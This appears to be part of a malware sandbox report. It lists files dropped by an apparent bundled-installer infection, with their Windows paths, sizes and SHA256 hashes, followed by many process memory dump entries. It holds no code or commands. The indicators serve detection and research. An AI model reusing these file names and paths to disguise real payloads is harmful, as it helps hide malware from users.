                                                                                                                                                                                                                                                                        • SHA256 486b284fe24f9151670040e82302c3fe7b9dec01ddb6249ae9056eb3e5e717a8
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        freeaudioamplifier.exe
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Free Audio Amplifier\freeaudioamplifier.exe
                                                                                                                                                                                                                                                                        • Size 5.0MB
                                                                                                                                                                                                                                                                        • SHA256 dc86f1ededa23171b1f90fde88f4850bf0f86191db258193700acfe7fff11b8b
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        messages.json
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hipilpceecbhfpflneijogboalilnfjp\1.3.3_0\_locales\en\messages.json
                                                                                                                                                                                                                                                                        • Size 150B
                                                                                                                                                                                                                                                                        • SHA256 9bb88ea0dcd22868737f42a3adbda7bf773b1ea07ee9f4c33d7a32ee1d902249
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        messages.json
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hipilpceecbhfpflneijogboalilnfjp\1.3.3_0\_locales\pt_BR\messages.json
                                                                                                                                                                                                                                                                        • Size 161B
                                                                                                                                                                                                                                                                        • SHA256 5e206dd2dad597ac1d7fe5a94ff8a1a75f189d1fe41c8144df44e3093a46b839
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        Preferences
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                                                                                                                                                        • Size 11KB
                                                                                                                                                                                                                                                                        • SHA256 3c3e7489c1783d122df60fdcb770d90cc77df441f2bf052698f74b5fe0a739fd
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        powershell.exe.log
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                                                                                                                                                                                        • Size 1KB
                                                                                                                                                                                                                                                                        • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        messages.json
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\bnaebcjlolajbgllgjlmlfobobdemmki\3.8.26_0\_locales\es\messages.json
                                                                                                                                                                                                                                                                        • Size 186B
                                                                                                                                                                                                                                                                        • SHA256 1e16982fac30651f8214b23b6d81d451cc7dbb322eb1242ae40b0b9558345152
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                        • Size 16KB
                                                                                                                                                                                                                                                                        • SHA256 c8435a771cbb381d50756bbe548d5d2bf8c6bba6513ca14fae3565c3d4ceaa0a
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                        • Size 16KB
                                                                                                                                                                                                                                                                        • SHA256 c9c18fd7f83e8e7f80be897faf5daf6a8854bf6aa6091516eb8b7667a72cc352
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                        • Size 16KB
                                                                                                                                                                                                                                                                        • SHA256 9eb323adec1c9a6431a2d85f0c2fa36db7c352926cb0b81d64300790f33e3b94
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        Assistant_110.0.5130.23_Setup.exe_sfx.exe
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202406040758021\assistant\Assistant_110.0.5130.23_Setup.exe_sfx.exe
                                                                                                                                                                                                                                                                        • Size 2.5MB
                                                                                                                                                                                                                                                                        • SHA256 e8fa79e22926ae07a998b5d2bb1be9309d0a15772ac72b88f4eed66052f33117
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        H05KHHxvHv5uN7l.exe
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\0XJ00v4Q\H05KHHxvHv5uN7l.exe
                                                                                                                                                                                                                                                                        • Size 298KB
                                                                                                                                                                                                                                                                        • SHA256 ae0489e536bb3d65567ce2b16563b3cad15839a9b4b28c021f7a7ad9d96bf36d
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        setup.exe
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\7zSC8A9F538\setup.exe
                                                                                                                                                                                                                                                                        • Size 5.2MB
                                                                                                                                                                                                                                                                        • SHA256 a78f5891edeb5de4ed9a7f3221518a216938ea5eaaef8a50a258a65fb5aecd2f
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        amDgCKr6pqM3lwQ.exe
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\B7S2XTru\amDgCKr6pqM3lwQ.exe
                                                                                                                                                                                                                                                                        • Size 11.3MB
                                                                                                                                                                                                                                                                        • SHA256 83e9889baecf34333e423e619e5fe5687de65a07ff0e1ca0f47045e347eeb032
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        kP3Oa7pa.exe
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\C9HxGz6J\kP3Oa7pa.exe
                                                                                                                                                                                                                                                                        • Size 6.7MB
                                                                                                                                                                                                                                                                        • SHA256 160a52d16289e6850143daca02481eb08268c7f318ad4977d952ca0cae3b4148
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        gyaEN8TbOJwrGT733QMe.exe
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\JF5qg7qJ\gyaEN8TbOJwrGT733QMe.exe
                                                                                                                                                                                                                                                                        • Size 5.6MB
                                                                                                                                                                                                                                                                        • SHA256 5dc229749cd0e151019aef7764c49a191a204b07d5f7ea11b1473ea31056c70f
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        Opera_installer_2406040758008553096.dll
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\Opera_installer_2406040758008553096.dll
                                                                                                                                                                                                                                                                        • Size 4.7MB
                                                                                                                                                                                                                                                                        • SHA256 ad63ddb2395cc0661fdf61aee5d968c00c833fe9a0ea533a570c2f8b5dddae10
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        f517T.exe
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\VLYKPBrC\f517T.exe
                                                                                                                                                                                                                                                                        • Size 2.0MB
                                                                                                                                                                                                                                                                        • SHA256 8ed31e6682debf0879286caf20189a817684cd69c364a65e44ba9d21ffa5a362
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        __PSScriptPolicyTest_ktjpbqlr.43f.ps1
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ktjpbqlr.43f.ps1
                                                                                                                                                                                                                                                                        • Size 60B
                                                                                                                                                                                                                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        gyaEN8TbOJwrGT733QMe.tmp
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\is-90OLT.tmp\gyaEN8TbOJwrGT733QMe.tmp
                                                                                                                                                                                                                                                                        • Size 680KB
                                                                                                                                                                                                                                                                        • SHA256 e41f94f31e003d1f1ec68b75353a150a9100856d2a8af8d62f441d3118bf8496
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        _iscrypt.dll
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\is-F8PVC.tmp\_isetup\_iscrypt.dll
                                                                                                                                                                                                                                                                        • Size 2KB
                                                                                                                                                                                                                                                                        • SHA256 2f6294f9aa09f59a574b5dcd33be54e16b39377984f3d5658cda44950fa0f8fc
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        _isdecmp.dll
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\is-F8PVC.tmp\_isetup\_isdecmp.dll
                                                                                                                                                                                                                                                                        • Size 13KB
                                                                                                                                                                                                                                                                        • SHA256 e19781aabe466dd8779cb9c8fa41bbb73375447066bb34e876cf388a6ed63c64
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        blumfarm_W9CQClad9a.tmp
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\is-HJTFT.tmp\blumfarm_W9CQClad9a.tmp
                                                                                                                                                                                                                                                                        • Size 694KB
                                                                                                                                                                                                                                                                        • SHA256 a902117fd1826da9d4de55d6111aa2f9fa71bda3bbf7bca1141a718e3892da13
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        _shfoldr.dll
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\is-QS5QF.tmp\_isetup\_shfoldr.dll
                                                                                                                                                                                                                                                                        • Size 22KB
                                                                                                                                                                                                                                                                        • SHA256 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        liteFirewall.dll
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\nsy723A.tmp\liteFirewall.dll
                                                                                                                                                                                                                                                                        • Size 81KB
                                                                                                                                                                                                                                                                        • SHA256 9db9c58e44dff2d985dc078fdbb7498dcc66c4cc4eb12f68de6a98a5d665abbd
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        INetC.dll
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\nsz433.tmp\INetC.dll
                                                                                                                                                                                                                                                                        • Size 21KB
                                                                                                                                                                                                                                                                        • SHA256 5520208a33e6409c129b4ea1270771f741d95afe5b048c2a1e6a2cc2ad829934
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        blowfish.dll
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\nsz433.tmp\blowfish.dll
                                                                                                                                                                                                                                                                        • Size 22KB
                                                                                                                                                                                                                                                                        • SHA256 053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        nsProcess.dll
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Temp\nsz433.tmp\nsProcess.dll
                                                                                                                                                                                                                                                                        • Size 4KB
                                                                                                                                                                                                                                                                        • SHA256 579a034ff5ab9b732a318b1636c2902840f604e8e664f5b93c07a99253b3c9cf
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        prefs.js
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\e6zhegwu.default-release\prefs.js
                                                                                                                                                                                                                                                                        • Size 8KB
                                                                                                                                                                                                                                                                        • SHA256 270f7aecb8bd40c42687c1bdcfb5689f01e7a5ac60a59f1c0de5a0679bd90af9
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        settings.dat
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports\settings.dat
                                                                                                                                                                                                                                                                        • Size 40B
                                                                                                                                                                                                                                                                        • SHA256 64517fb0a2b96ed4ed4526c982da4ff507a78c98ef567f096e9f9aa0159eb321
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        memory/912-629-0x0000000010000000-0x00000000125E2000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1648-538-0x0000000000400000-0x0000000000906000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1648-599-0x0000000000400000-0x0000000000906000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1648-420-0x0000000000400000-0x0000000000906000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1648-240-0x0000000000400000-0x0000000000906000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1648-606-0x0000000000400000-0x0000000000906000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1648-628-0x0000000000400000-0x0000000000906000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1720-93-0x0000000005940000-0x0000000005F68000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1720-95-0x0000000006120000-0x0000000006186000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1720-122-0x0000000006CE0000-0x0000000006CFA000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1720-121-0x0000000007E20000-0x000000000849A000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1720-120-0x00000000067F0000-0x000000000683C000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1720-109-0x0000000006200000-0x0000000006554000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1720-90-0x0000000003210000-0x0000000003246000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1720-94-0x0000000005820000-0x0000000005842000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1720-96-0x0000000006190000-0x00000000061F6000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1796-343-0x000001B9AFC00000-0x000001B9AFC12000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1796-327-0x000001B9939B0000-0x000001B9944FC000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1796-413-0x000001B9B1860000-0x000001B9B18D6000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1796-414-0x000001B9AFC20000-0x000001B9AFC3E000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1796-440-0x000001B9AEAF0000-0x000001B9AEC99000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1868-119-0x0000000005FE0000-0x0000000005FFE000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1996-601-0x0000000000400000-0x00000000004BD000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1996-79-0x0000000000400000-0x00000000004BD000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/1996-6-0x0000000000400000-0x00000000004BD000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/2356-418-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/2356-133-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/2428-0-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/2428-78-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/2428-3-0x0000000000401000-0x000000000040B000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/2460-587-0x00000275D8900000-0x00000275D8922000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/2668-605-0x0000000000400000-0x00000000004BA000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/2668-419-0x0000000000400000-0x00000000004BA000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3032-499-0x0000000006760000-0x0000000006AB4000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3032-438-0x0000000000F30000-0x0000000001070000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3032-449-0x0000000007B10000-0x0000000007B42000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3032-451-0x0000000007B50000-0x0000000007B6A000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3032-452-0x0000000005920000-0x00000000059D2000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3032-450-0x0000000007AD0000-0x0000000007ADA000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3032-448-0x0000000007C60000-0x0000000007D3E000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3032-445-0x0000000007AA0000-0x0000000007AC8000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3032-441-0x00000000052C0000-0x00000000052C1000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3256-553-0x0000000005090000-0x00000000050DC000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3284-339-0x0000000010000000-0x00000000125E2000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-76-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-417-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-77-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-99-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-556-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-602-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-74-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-609-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-80-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3328-75-0x0000000000400000-0x0000000000B82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3716-232-0x0000000000400000-0x0000000000906000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3716-237-0x0000000000400000-0x0000000000906000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3716-233-0x0000000000400000-0x0000000000906000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3800-557-0x0000000010000000-0x00000000125E2000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3928-424-0x0000000007A50000-0x0000000007AE6000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3928-337-0x00000000063F0000-0x0000000006744000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3928-426-0x00000000080A0000-0x0000000008644000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3928-341-0x0000000006D80000-0x0000000006DCC000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/3928-425-0x0000000006C60000-0x0000000006C82000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4204-1230-0x0000000004930000-0x00000000049C2000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4204-1235-0x0000000005BC0000-0x0000000005C50000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4204-1234-0x0000000005790000-0x000000000582C000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4204-1232-0x0000000005530000-0x000000000560C000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4204-1231-0x0000000004A20000-0x0000000004A6A000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4204-1229-0x0000000000050000-0x00000000000AE000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4220-193-0x0000000005FD0000-0x0000000006324000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4220-225-0x0000000006590000-0x00000000065DC000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4324-573-0x0000000063A40000-0x00000000640B6000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4324-617-0x0000000063A40000-0x00000000640B6000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4324-604-0x0000000063A40000-0x00000000640B6000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4436-679-0x0000000004BB0000-0x0000000004BFC000-memory.dmp
                                                                                                                                                                                                                                                                        Download

                                                                                                                                                                                                                                                                        memory/4680-471-0x0000000006950000-0x000000000699C000-memory.dmp
                                                                                                                                                                                                                                                                        Download